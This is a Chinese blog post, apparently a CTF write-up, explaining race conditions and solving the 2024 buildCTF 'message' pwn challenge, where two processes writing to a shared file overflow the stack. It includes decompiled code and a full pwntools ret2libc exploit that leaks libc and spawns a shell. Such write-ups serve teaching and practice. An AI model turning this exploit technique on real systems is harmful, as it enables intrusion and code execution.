条件竞争

D0wnBe@t Lv4

介绍

参考文章:ctf.wiki

条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。当这些不受控制的事件并没有按照开发者想要的方式运行时,就可能会出现 bug。这个术语最初来自于两个电信号互相竞争来影响输出结果。

简单来说就是当一个资源被两个进程同时调用,那么就会出错。


通常,条件竞争出现下面三种情况:

  • 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
  • 共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
  • 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 代码摘自ctf.wiki
#include <pthread.h>
#include <stdio.h>

int counter;
void *IncreaseCounter(void *args) {
counter += 1;
sleep(0.1);
printf("Thread %d has counter value %d\n", (unsigned int)pthread_self(),
counter);
}

int main() {
pthread_t p[10];
for (int i = 0; i < 10; ++i) {
pthread_create(&p[i], NULL, IncreaseCounter, NULL);
}
for (int i = 0; i < 10; ++i) {
pthread_join(p[i], NULL);
}
return 0;
}
  • 这个程序使用 POSIX 线程(pthread)库创建了 10 个线程,并让每个线程执行 IncreaseCounter 函数。代码的目的是通过线程来增加一个共享变量 counter 的值并打印每个线程的 ID 及 counter 的当前值。
  • 我们预期的输出应该是每个线程conunter+1,即:
1
2
3
4
Thread .. has counter value 1
Thread .. has counter value 2
Thread .. has counter value 3
...
  • 但是实际的输出却不尽如人意:

  • 为什么会出现这样的输出呢?

counter作为一个全局变量,但是却在多个线程之间+1,这样会导致条件竞争,使得多个线程在没有同步的情况下对counter进行读写,从而导致counter出错。

更加详细的参考开头的文章

例题

  • 2024buildCTF-message

参考文章:stone神

ida查看

  • 主要部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf; // [rsp+8h] [rbp-18h] BYREF
__int64 v5; // [rsp+10h] [rbp-10h] BYREF
int v6; // [rsp+1Ch] [rbp-4h]

v5 = 0LL;
v6 = 0;
buf = 0LL;
my_init(argc, argv, envp);
while ( 1 )
{
menu();
read(0, &buf, 2uLL);
switch ( atoi((const char *)&buf) )
{
case 1:
add_message(&v5);
break;
case 2:
edit_message(&v5);
break;
case 3:
view_message(&v5);
break;
case 4:
delete_message(&v5);
break;
case 5:
buy_BTC();
default:
continue;
}
}
}
  • 在init函数里面的clear_file
1
2
3
4
5
6
7
8
9
10
11
12
13
int clear_file()
{
FILE *stream; // [rsp+8h] [rbp-8h]

stream = fopen("message.txt", "w");
if ( !stream )
{
perror("fopen");
exit(1);
}
fclose(stream);
return printf("File '%s' has been cleared.\n", "message.txt");
}
  • add_message
1
2
3
4
5
6
7
8
9
10
11
12
13
FILE *__fastcall add_message(FILE **a1)
{
FILE *result; // rax

*a1 = fopen("message.txt", "a+");
result = *a1;
if ( !*a1 )
{
perror("fopen");
exit(1);
}
return result;
}
  • edit_message
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall edit_message(FILE **a1)
{
_BYTE s[96]; // [rsp+10h] [rbp-60h] BYREF

if ( !a1 || !*a1 )
{
printf("You should add message first");
exit(1);
}
sleep(1u);
printf("Message file detected");
sleep(1u);
clear_file();
printf("Now please leave your message :");
memset(s, 0, sizeof(s));
read(0, s, 0x50uLL);
fwrite(s, 1uLL, 0x50uLL, *a1);
return fflush(*a1);
}
  • view_message
  • 两秒检查一次
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall view_message(FILE **a1)
{
char s[104]; // [rsp+10h] [rbp-70h] BYREF
size_t n; // [rsp+78h] [rbp-8h]

if ( !a1 || !*a1 )
{
printf("You should add message first");
exit(1);
}
memset(s, 0, 0x60uLL);
fseek(*a1, 0LL, 2);
n = ftell(*a1);
fseek(*a1, 0LL, 0);
fread(s, 1uLL, n, *a1);
return puts(s);
}
ftell

ftell 用于获取文件指针在文件中的当前位置,以字节为单位返回位置。

>>>文件指针距离文件开头的距离

fseek

fseek 用于在文件中移动文件指针,允许从文件的指定位置开始读取或写入数据。

1
2
int fseek(FILE *stream, long int offset, int whence);
>>> fseek(*a1, 0LL, 2);// 表示移动到结尾
  • 主要用到的就上面几个模块

分析

漏洞点就出现在edit_message之中,2秒之后才会执行clear_file,在这之间我们可以开启两个线程,第一个随便写,第二个进程写入ROP,ROP的执行点就在view_message之中,由于我们两次进程写入同一个共享资源message.txt中,虽然每次只规定写0x50,但是两个进程可以写入0x100,会造成view_message中栈溢出

可以第一个进程写入0x50的垃圾数据,然后第二个进程再补0x28的垃圾数据,然后就是正常的ret2libc了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"
#libc = '/lib/x86_64-linux-gnu/libc.so.6'

#p = process(file)
elf = ELF(file)
libc = ELF(libc)
#p = remote("", 23583)

def add(p):
p.sendlineafter("Your choice:","1")

def edit(p):
p.sendlineafter("Your choice:","2")

def show(p):
p.sendlineafter("Your choice:","3")


p1 = process(file)
p2 = process(file)

# 开启双线程
add(p1)
add(p2)

edit(p1)
edit(p2)
sleep(1.2)
p1.sendafter("Now please leave your message :",b'a'*0x50)
sleep(0.5)

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = elf.sym['main']
pop_rdi_ret = 0x00000000004019b3
ret = 0x000000000040101a

payload = b'a'*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p2.sendafter("Now please leave your message :",payload)

show(p2)
p2.recvuntil(b'\n')
libc.address = u64(p2.recvuntil(b'\n',drop=True)[-6:]+b'\x00\x00') - libc.sym['puts']
success("libc_address: ",hex(libc.address))

system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))

# 同样的步骤
add(p2)
edit(p1)
edit(p2)
sleep(1.2)
p1.sendafter("Now please leave your message :",b'a'*0x50)
sleep(0.5)

payload = cyclic(0x28)
payload += flat(pop_rdi_ret , bin_sh ,ret, system)
p2.sendafter("Now please leave your message :",payload)
show(p2)
sleep(0.5)
p2.sendline(b'cat flag')
p2.interactive()

  • 标题: 条件竞争
  • 作者: D0wnBe@t
  • 创建于 : 2024-11-05 22:15:52
  • 更新于 : 2024-11-06 22:07:55
  • 链接: http://downbeat.top/2024/11/05/条件竞争/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论